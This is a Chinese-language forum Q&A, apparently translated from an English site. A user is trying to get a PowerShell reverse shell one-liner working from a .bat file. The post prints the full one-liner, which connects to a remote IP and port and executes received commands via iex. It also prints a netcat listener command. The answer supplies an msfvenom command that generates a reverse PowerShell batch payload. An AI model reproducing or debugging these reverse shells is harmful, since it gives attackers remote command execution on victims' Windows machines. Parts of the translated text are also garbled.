我正在尝试使用.bat
文件运行下面的反向Shell PowerShell命令。
powershell /w 1 "$c=new-object system.net.sockets.tcpclient('192.168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|out-string);$z=$o + 'hacker> ' + (pwd).Path + '> ';$x = ([text.encoding]::ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.close()"
首先,我在Kali中启动netcat侦听器:
nc -vv -l -p 4777
然后我运行PowerShell命令,但是在Windows 10中出现以下错误:
At line:1 char:112
+ ... 168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|:ASCII).GetByte ...
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:160
+ ... 65535|:ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.clos ...
+ ~
Unexpected token '}' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
我在命令中和其中都尝试了许多可能的'
,"
和```combinations和variations。我完全迷住了。
答案 0 :(得分:0)
发现自己遇到了同样的问题。我想知道为什么如果在.bat文件中执行的命令无法在CMD中正确运行,该命令将无法正常运行。我完全没有道理。
Metasploit是我们的朋友在这里:
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat
来源: https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/